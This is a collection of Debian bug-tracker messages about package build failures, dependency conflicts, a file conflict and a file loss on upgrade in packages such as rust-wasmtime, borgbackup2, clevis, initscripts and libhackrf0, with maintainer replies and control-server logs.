Bug#1057198: rust-wasmtime: FTBFS error[E0599]: no function or associated item named `from_str` found for struct `Triple` in the current scope
Package: rust-wasmtime Version: 15.0.0+dfsg-3 Severity: serious Control: block 1055090 by -1 https://buildd.debian.org/status/fetch.php?pkg=rust-wasmtime=all=15.0.0%2Bdfsg-3=1701097543=0 error[E0599]: no function or associated item named `from_str` found for struct `Triple` in the current scope --> cranelift/codegen/src/isa/mod.rs:118:12 | 118 | lookup(triple!(name)) |^ function or associated item not found in `Triple` | = help: items from traits can only be used if the trait is in scope = note: this error originates in the macro `triple` (in Nightly builds, run with -Z macro-backtrace for more info) help: the following trait is implemented but not in scope; perhaps add a `use` for it: | 46 + use core::str::FromStr; | For more information about this error, try `rustc --explain E0599`. The following warnings were emitted during compilation:
Bug#1057197: borgbackup2: Package cannot be installed due to an upper limit on the depedency 'python3-platformdirs'
Package: borgbackup2 Version: 2.0.0b5-1 Severity: grave Tags: newcomer Justification: renders package unusable Dear Maintainer, there is a version conflict in the dependencies: $ apt install borgbackup2 Reading package lists... Done Building dependency tree... Done Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: borgbackup2 : Depends: python3-platformdirs (< 4.0.0) but 4.0.0-1 is to be installed Recommends: python3-llfuse (< 2.0) but it is not going to be installed Recommends: python3-pyfuse3 but it is not going to be installed E: Unable to correct problems, you have held broken packages. This is because `platformdirs` has a new version which borg is not yet allowing. This has already been fixed upstream: https://github.com/borgbackup/borg/issues/7950 Please provide a suitable patch for the debian package. Thanks in advance! Adrian -- System Information: Debian Release: trixie/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-8-amd64 (SMP w/12 CPU threads; PREEMPT) Kernel taint flags: TAINT_WARN Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages borgbackup2 depends on: ii libacl12.3.1-3 ii libc6 2.37-12 ii liblz4-1 1.9.4-1 ii libssl33.1.4-2 ii libxxhash0 0.8.2-2 ii libzstd1 1.5.5+dfsg2-2 ii python33.11.4-5+b1 ii python3-argon2 21.1.0-2 ii python3-msgpack1.0.3-3 ii python3-packaging 23.2-1 ii python3-pkg-resources 68.1.2-2 ii python3-platformdirs 4.0.0-1 Versions of packages borgbackup2 recommends: ii fuse3 [fuse] 3.14.0-4 pn python3-llfuse pn python3-pyfuse3 Versions of packages borgbackup2 suggests: pn borgbackup2-doc
Processed: found 1057190 in libhackrf0/2023.01.1-4
Processing commands for cont...@bugs.debian.org: > found 1057190 libhackrf0/2023.01.1-4 Bug #1057190 [libhackrf0] libhackrf0: udev rules file lost in upgrade The source libhackrf0 and version 2023.01.1-4 do not appear to match any binary packages Marked as found in versions libhackrf0/2023.01.1-4. > thanks Stopping processing here. Please contact me if you need assistance. -- 1057190: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057190 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: RM: libbytelist-java -- ROM; unused, obsolete
Processing commands for cont...@bugs.debian.org: > retitle 1056902 RM: libbytelist-java -- ROM; unused, obsolete Bug #1056902 [libbytelist-java] libbytelist-java: Package is obsolete and should be removed before trixie release Changed Bug title to 'RM: libbytelist-java -- ROM; unused, obsolete' from 'libbytelist-java: Package is obsolete and should be removed before trixie release'. > severity 1056902 normal Bug #1056902 [libbytelist-java] RM: libbytelist-java -- ROM; unused, obsolete Severity set to 'normal' from 'serious' > reassign 1056902 ftp.debian.org Bug #1056902 [libbytelist-java] RM: libbytelist-java -- ROM; unused, obsolete Bug reassigned from package 'libbytelist-java' to 'ftp.debian.org'. No longer marked as found in versions libbytelist-java/1.0.15-1. Ignoring request to alter fixed versions of bug #1056902 to the same values previously set > thanks Stopping processing here. Please contact me if you need assistance. -- 1056902: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1056902 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1056902: RM: libbytelist-java -- ROM; unused, obsolete
retitle 1056902 RM: libbytelist-java -- ROM; unused, obsolete severity 1056902 normal reassign 1056902 ftp.debian.org thanks As title says. This package was used by JRuby but is obsolete nowadays. All packages in the archive depending on this were migrated or removed, so there is no more reason to keep it around. Thanks, Miguel.
Bug#1052632: marked as done (clevis FTBFS when systemd.pc changes systemdsystemunitdir)
Your message dated Fri, 01 Dec 2023 11:04:16 +
with message-id
and subject line Bug#1052632: fixed in clevis 19-6
has caused the Debian Bug report #1052632,
regarding clevis FTBFS when systemd.pc changes systemdsystemunitdir
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1052632: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052632
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: clevis
Version: 19-3
Severity: normal
Tags: ftbfs patch
User: helm...@debian.org
Usertags: dep17m2
We want to change the value of systemdsystemunitdir in systemd.pc to
point below /usr. clevis' upstream build system consumes this value, but
the debian packaging hard codes its current value. When it changes,
clevis will fail to build from source. Consider applying the attached
patch to avoid that.
Helmut
diff -Nru clevis-19/debian/changelog clevis-19/debian/changelog
--- clevis-19/debian/changelog 2023-07-23 12:04:17.0 +0200
+++ clevis-19/debian/changelog 2023-09-25 13:52:04.0 +0200
@@ -1,3 +1,10 @@
+clevis (19-3.1) UNRELEASED; urgency=medium
+
+ * Non-maintainer upload.
+ * Do not FTBFS when systemd.pc changes systemdsystemunitdir. (Closes: #-1)
+
+ -- Helmut Grohne Mon, 25 Sep 2023 13:52:04 +0200
+
clevis (19-3) unstable; urgency=medium
* Retire versioned dependencies met even in oldstable
diff -Nru clevis-19/debian/clevis-systemd.install
clevis-19/debian/clevis-systemd.install
--- clevis-19/debian/clevis-systemd.install 2023-01-28 11:43:54.0
+0100
+++ clevis-19/debian/clevis-systemd.install 2023-09-25 13:51:26.0
+0200
@@ -1,5 +1,5 @@
-lib/systemd/system/clevis-luks-askpass.path
-lib/systemd/system/clevis-luks-askpass.service
+${env:systemdsystemunitdir}/clevis-luks-askpass.path
+${env:systemdsystemunitdir}/clevis-luks-askpass.service
usr/libexec/clevis-luks-askpass
diff -Nru clevis-19/debian/control clevis-19/debian/control
--- clevis-19/debian/control2023-07-23 11:53:08.0 +0200
+++ clevis-19/debian/control2023-09-25 13:51:46.0 +0200
@@ -22,6 +22,7 @@
libssl-dev,
libudisks2-dev,
meson,
+pkgconf,
systemd,
tang,
tpm2-tools,
diff -Nru clevis-19/debian/rules clevis-19/debian/rules
--- clevis-19/debian/rules 2023-01-28 11:43:54.0 +0100
+++ clevis-19/debian/rules 2023-09-25 13:52:03.0 +0200
@@ -4,6 +4,8 @@
DPKG_EXPORT_BUILDFLAGS = 1
include /usr/share/dpkg/buildflags.mk
+export systemdsystemunitdir = $(shell pkgconf --variable=systemdsystemunitdir
systemd | sed s,^/,,)
+
%:
dh $@ --with=bash-completion
--- End Message ---
--- Begin Message ---
Source: clevis
Source-Version: 19-6
Done: Christoph Biedl
We believe that the bug you reported is fixed in the latest version of
clevis, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1052...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Christoph Biedl (supplier of updated clevis
package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Fri, 01 Dec 2023 08:43:41 +0100
Source: clevis
Architecture: source
Version: 19-6
Distribution: unstable
Urgency: medium
Maintainer: Christoph Biedl
Changed-By: Christoph Biedl
Closes: 1052632
Changes:
clevis (19-6) unstable; urgency=medium
.
* Take the systemd service unit location from
systemd.pc/systemdsystemunitdir. Closes: #1052632
Checksums-Sha1:
b4e7f63947a8c84b82b965696a74d9bbd98d027f 2531 clevis_19-6.dsc
232cc2fb260ae3bed32550e4e754fa9b4ad77815 7176 clevis_19-6.debian.tar.xz
370e8f783bc63621b707fb3e4d7f8a72fb1be794 12034 clevis_19-6_powerpc.buildinfo
Checksums-Sha256:
eb8aba1e732a33bad582518daae7eb48b392976cc7f73fab0ceaacce6f6cdd01 2531
clevis_19-6.dsc
c1cf0ae400ef4c2d8ab6bd45adef97a16c9b6ab1eca0212c1ab64d8202cf 7176
clevis_19-6.debian.tar.xz
b46fb216dd59a8a752f22fd1152ffa4996c58c70032a3dd3e0eb4ce5b54b0776 12034
clevis_19-6_powerpc.buildinfo
Files:
e6d5599e6bcf15450080880efa60eb75 2531 net optional clevis_19-6.dsc
88b355599d059b1c5d47614402bcf251 7176 net optional clevis_19-6.debian.tar.xz
e1aefef2ed574758617bad47ead0c19c 12034 net
Processed: tagging 542095, notfixed 542095 in 1:2.26+1, notfound 624606 in 43.4-1, tagging 1053111 ...
Processing commands for cont...@bugs.debian.org:
> tags 542095 + wontfix
Bug #542095 {Done: Jeremy Bícha } [gnome] should
not depend on network-manager-gnome
Added tag(s) wontfix.
> notfixed 542095 1:2.26+1
Bug #542095 {Done: Jeremy Bícha } [gnome] should
not depend on network-manager-gnome
No longer marked as fixed in versions meta-gnome2/1:2.26+1.
> notfound 624606 43.4-1
Bug #624606 {Done: Jeremy Bícha } [gnome-shell]
gnome-shell: does not remember favorite applications
No longer marked as found in versions gnome-shell/43.4-1.
> tags 1053111 + sid trixie
Bug #1053111 [src:e2fsprogs] e2fsprogs FTBFS when systemd.pc changes
systemdsystemunitdir
Added tag(s) sid and trixie.
> tags 1052666 + sid trixie
Bug #1052666 [src:lvm2] lvm2 FTBFS when systemd.pc changes systemdsystemunitdir
Added tag(s) sid and trixie.
> tags 1052644 + sid trixie
Bug #1052644 [src:kmscon] kmscon FTBFS when systemd.pc changes
systemdsystemunitdir
Added tag(s) trixie and sid.
> tags 1052643 + sid trixie
Bug #1052643 [src:intel-hdcp] intel-hdcp FTBFS when systemd.pc changes
systemdsystemunitdir
Added tag(s) trixie and sid.
> tags 1052639 + sid trixie
Bug #1052639 [src:hfd-service] hfd-service FTBFS when systemd.pc changes
systemdsystemunitdir
Added tag(s) trixie and sid.
> tags 1052380 + sid trixie
Bug #1052380 [src:opensm] opensm FTBFS when systemdsystemunitdir changes in
systemd.pc
Added tag(s) trixie and sid.
> tags 1052310 + sid trixie
Bug #1052310 [src:plymouth] plymouth FTBFS when systemdsystemunitdir changes in
systemd.pc
Added tag(s) sid and trixie.
> tags 1052309 + sid trixie
Bug #1052309 [src:lirc] lirc FTBFS when systemd.pc changes systemdsystemunitdir
Added tag(s) trixie and sid.
> tags 1052277 + sid trixie
Bug #1052277 [src:heartbeat] heartbeat FTBFS when systemd_system_unit_dir
changes
Added tag(s) trixie and sid.
> tags 1057171 + trixie
Bug #1057171 [src:libitext5-java] libitext5-java: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> tags 1057170 + trixie
Bug #1057170 [src:ssl-utils-clojure] ssl-utils-clojure: FTBFS with bouncycastle
1.77
Added tag(s) trixie.
> tags 1057169 + trixie
Bug #1057169 [src:pdftk-java] pdftk-java: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> tags 1057168 + trixie
Bug #1057168 [src:jdeb] jdeb: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> tags 1057167 + trixie
Bug #1057167 [src:libapache-poi-java] libapache-poi-java: FTBFS with
bouncycastle 1.77
Added tag(s) trixie.
> tags 1057166 + trixie
Bug #1057166 [src:pgpainless] pgpainless: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> tags 1057165 + trixie
Bug #1057165 [src:libitext-java] libitext-java: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> tags 1057162 + trixie
Bug #1057162 [src:jglobus] jglobus: FTBFS with bouncycastle 1.77
Added tag(s) trixie.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
1052277: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052277
1052309: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052309
1052310: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052310
1052380: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052380
1052639: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052639
1052643: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052643
1052644: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052644
1052666: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1052666
1053111: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1053111
1057162: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057162
1057165: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057165
1057166: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057166
1057167: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057167
1057168: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057168
1057169: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057169
1057170: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057170
1057171: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057171
542095: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=542095
624606: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624606
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#1057122: initscripts has an undeclared file conflict on /usr/lib/udev/hwclock-set
Hi Mark, On Thu, Nov 30, 2023 at 08:22:33PM +, Mark Hindley wrote: > On Tue, Nov 28, 2023 at 10:27:41AM +0100, Helmut Grohne wrote: > > Package: initscripts > > Version: 3.08-3~bpo12+1 > > Severity: serious > > User: debian...@lists.debian.org > > Usertags: fileconflict > > Control: affects -1 + util-linux > > Tags: bookworm > > > > initscripts has an undeclared file conflict. This may result in an > > unpack error from dpkg. > > > > The file /usr/lib/udev/hwclock-set is contained in the packages > > * initscripts/3.08-3~bpo12+1 as present in bookworm-backports > > * util-linux/2.36.1-8+deb11u1 as present in bullseye|bullseye-security > > Are the suites and versions reported here really the problematic ones? Given that this is fully automated and working since a while, I'd doubt myself more than the algorithm now. :) Looking deeper the following binary packages contain that file: util-linux_2.36.1-8+deb11u1 util-linux-extra_2.38.1-5+b1 initscripts_3.08-3 initscripts_3.08-3~bpo12+1 initscripts_3.08-4 > I agree there is a conflict, but I think it is between > initscripts/3.08-3~bpo12+1 in bookworm-backports and util-linux-extra/2.38.1-5 > in bookworm. The initscripts backport declares Breaks+Replaces for util-linux-extra from bookworm. While they both contain the same file this conflict is declared in the packaging. From a dumat pov, this is not a problem, because it is correctly declared. > My proposed fix is attached. It reverts the transition of the hwclock > machinery > to initscripts, since this is still present in bookworm src:util-linux. The reason you are suggesting util-linux-extra probably is that initscripts from backports is no longer coinstallable with util-linux-extra from bookworm. That's certainly suboptimal and the way you address this coinstallability issue by reverting the transition seems sane to me. > Or, have I misunderstood? In reverting the transition for bookworm-backports, you not only make it coinstallable with util-linux-extra from bookworm again. You also resolve the undeclared conflict with util-linux from bullseye. Thanks for having looked beyond the reported problem and come up with a better solution. Helmut
Bug#1057190: libhackrf0: udev rules file lost in upgrade
Package: libhackrf0 Version: 2023.01.1-2 Severity: grave Justification: file loss during upgrade User: helm...@debian.org Usertags: dep17p7 X-Debbugs-Cc: z...@debian.org Hi, upgrading libhackrf0 can loose files. Reproducer: mmdebstrap trixie /dev/null --architectures amd64,i386 --include=libhackrf0:amd64,libhackrf0:i386 --customize-hook='sed -i -e s/trixie/sid/ "$1/etc/apt/sources.list"' --chrooted-customize-hook="apt update" --chrooted-customize-hook="apt-get download libhackrf0" --chrooted-customize-hook="dpkg --auto-deconfigure --unpack /*.deb" --chrooted-customize-hook="dpkg -r libhackrf0:i386" --chrooted-customize-hook="dpkg --configure -a" --customize-hook='test -e "$1/lib/udev/rules.d/60-libhackrf0.rules"' I note that Chris sent you a patch that would handle this situation reliably and that in applying only part of the patch you caused this problem. Please revert this in unstable asap as this is a file loss scenario. Then when you retry it, please go for experimental first. Then have Chris or me check your upload is ok and only then proceed with uploading to unstable. Thank you Helmut
Processed: closing 1056548
Processing commands for cont...@bugs.debian.org: > close 1056548 Bug #1056548 [src:ticketbooth] ticketbooth: FTBFS: Test "Validate appstream file" failed Marked Bug as done > thanks Stopping processing here. Please contact me if you need assistance. -- 1056548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1056548 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1056548: closing 1056548
close 1056548 thanks
Bug#1056548: closing 1056548
fixed 1056548 1.0.3.1-2 thanks
Processed: closing 1056548
Processing commands for cont...@bugs.debian.org: > fixed 1056548 1.0.3.1-2 Bug #1056548 [src:ticketbooth] ticketbooth: FTBFS: Test "Validate appstream file" failed Marked as fixed in versions ticketbooth/1.0.3.1-2. > thanks Stopping processing here. Please contact me if you need assistance. -- 1056548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1056548 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
